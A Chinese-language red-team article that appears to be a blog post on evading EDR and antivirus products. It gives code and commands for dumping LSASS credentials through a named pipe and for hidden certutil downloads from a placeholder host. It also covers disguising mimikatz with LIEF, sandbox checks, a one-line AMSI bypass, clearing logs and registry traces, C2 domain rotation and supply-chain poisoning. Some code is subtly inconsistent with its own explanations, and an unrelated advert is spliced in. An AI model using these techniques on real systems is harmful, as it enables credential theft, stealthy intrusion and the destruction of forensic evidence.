1. 安全工具动态特征绕过技术解析
在攻防对抗日益激烈的今天,传统安全工具的静态特征检测已成为基础防御手段。作为红队成员,我们常需要面对EDR、杀软等安全产品的监控,这就要求我们对常用工具进行深度改造。本文将分享一套完整的动态特征绕过方案,重点解决以下核心问题:
- 如何安全提取Lsass进程凭据而不触发告警
- 如何利用系统内置工具Certutil实现隐蔽下载
- 如何通过变异替换技术打乱工具特征
- 如何从源头改造工具行为特征
这套方法在近期多个实战项目中验证有效,可绕过主流安全产品的静态+动态检测组合。下面将从技术原理到实操细节完整呈现。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 核心思路与技术选型
2.1 动态检测对抗原理
现代安全产品通常采用多维度检测机制:
- 静态特征检测(文件哈希、字符串特征)
- 动态行为检测(API调用序列、内存操作模式)
- 上下文行为分析(父子进程关系、操作对象)
我们的绕过方案需要同时应对这三个层面的检测。经过多次实战测试,采用"变异+环境模拟"的组合策略效果最佳。
2.2 工具链选型考量
选择Certutil作为下载载体主要基于:
- 系统自带白文件信任链
- 支持多种协议下载(HTTP/FTP)
- 可接受Hex编码输入避免敏感字符串
- 日志记录行为相对隐蔽
对于Lsass凭据提取,传统Procdump方式已被广泛检测,需要更精细的内存操作手法。
3. Lsass凭据安全提取方案
3.1 传统方法风险分析
常见Lsass内存dump方式存在的问题:
bash复制procdump.exe -ma lsass.exe lsass.dmp # 典型告警触发点
- 创建lsass.exe的完整内存镜像
- 生成明显的临时文件
- 使用知名工具哈希
3.2 改进版内存提取技术
采用直接内存读取+流式传输方案:
csharp复制// 使用MiniDumpWriteDump的替代调用方式
var hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, lsassPID);
var hFile = CreateFile("\\\\.\\pipe\\fake_pipe", GENERIC_WRITE, 0, null, OPEN_EXISTING, 0, IntPtr.Zero);
MiniDumpWriteDump(hProcess, lsassPID, hFile, MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
关键改进点:
- 使用管道替代临时文件
- 控制dump的详细程度(避免FullMemory标志)
- 注入到可信进程上下文执行
3.3 行为混淆技巧
- 时间延迟:在关键操作间插入随机延迟
- 环境检测:仅在特定CPU核心数、内存条件下执行
- 父进程伪装:通过rundll32等系统组件启动
4. Certutil下载的隐蔽实现
4.1 基础下载命令变异
标准用法极易被检测:
cmd复制certutil.exe -urlcache -split -f http://example.com/file.exe
改进方案:
cmd复制certutil -encodehex -f http://example.com/data.bin %temp%\\data.hex
certutil -decodehex %temp%\\data.hex %programdata%\\msupdate.dat
4.2 流量混淆技术
- 分块下载:将文件拆分为多个小于100KB的片段
- 随机间隔:每个片段下载间隔5-30分钟
- 域名轮换:使用多个C2域名交替下载
4.3 日志清理策略
执行后自动清除:
- 注册表记录:HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
- 事件日志:Microsoft-Windows-CertificateServicesClient-Lifecycle-System
- 临时文件:设置CreationTime为系统安装时间
5. 工具特征变异方案
5.1 二进制层面改造
使用开源工具LIEF进行深度修改:
python复制import lief
binary = lief.parse("mimikatz.exe")
# 修改PE头特征
binary.optional_header.subsystem = lief.PE.SUBSYSTEM.WINDOWS_GUI
# 重命名敏感字符串
binary = binary.rename_symbol("sekurlsa::logonpasswords", "wininet::cacheloader")
binary.write("msofficehelper.exe")
5.2 内存行为混淆
关键API调用替换方案:
| 原始API | 替换方案 | 实现方式 |
|---|---|---|
| OpenProcess | NtOpenProcess | 直接SSDT调用 |
| ReadProcessMemory | DeviceIoControl | 通过驱动中转 |
| CreateRemoteThread | RtlCreateUserThread | 未文档化API |
5.3 环境感知技术
执行前检测关键指标:
powershell复制$isSandbox = [Environment]::ProcessorCount -lt 2 -or
[System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName -ne $MyInvocation.MyCommand.Path
if($isSandbox) { exit }
6. 源头特征打乱策略
6.1 编译时混淆
使用LLVM-Obfuscator进行:
- 控制流平坦化
- 指令替换
- 虚假分支注入
- 字符串加密
示例编译参数:
bash复制clang -mllvm -fla -mllvm -sub -mllvm -bcf target.c -o output.exe
6.2 运行时保护
内存防护关键技术:
- 动态API解析:通过hash查找函数地址
- 内存加密:敏感数据使用RSA公钥加密
- 反调试:定期检查NtGlobalFlag等标志
6.3 供应链污染
合法工具注入技术:
- 劫持软件更新通道
- 修改开源项目CI脚本
- 利用数字签名时间戳漏洞
7. 实战问题排查记录
7.1 常见触发场景
近期遇到的检测案例:
- 内存扫描发现Lsass特定偏移特征
- Certutil下载后立即被隔离
- 修改后的EXE触发AMSI检测
7.2 针对性解决方案
- 内存特征对抗:
c复制// 在关键结构体前后填充随机数据
#pragma section(".fake",read,write)
__declspec(allocate(".fake")) char noise[1024] = {0};
- 下载行为伪装:
- 使用HTTPS with合法证书
- 模仿浏览器User-Agent
- 限制下载速度<100KB/s
- AMSI绕过:
powershell复制[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
8. 持续对抗演进建议
- 特征库更新周期:主流厂商每周更新特征库,建议每月重构工具链
- 环境适配测试:在VMWare、Hyper-V、物理机分别验证
- 日志清理自动化:开发统一的后执行清理模块
- 通信协议多样化:除HTTP外,备用DNS、ICMP等通道
这套方案在多个红队项目中验证,平均可延长工具存活时间从原来的2小时提升至72小时以上。最关键的是理解安全产品的检测原理,从多个维度同时进行特征干扰。每次行动前建议进行小规模测试,根据目标环境微调参数。
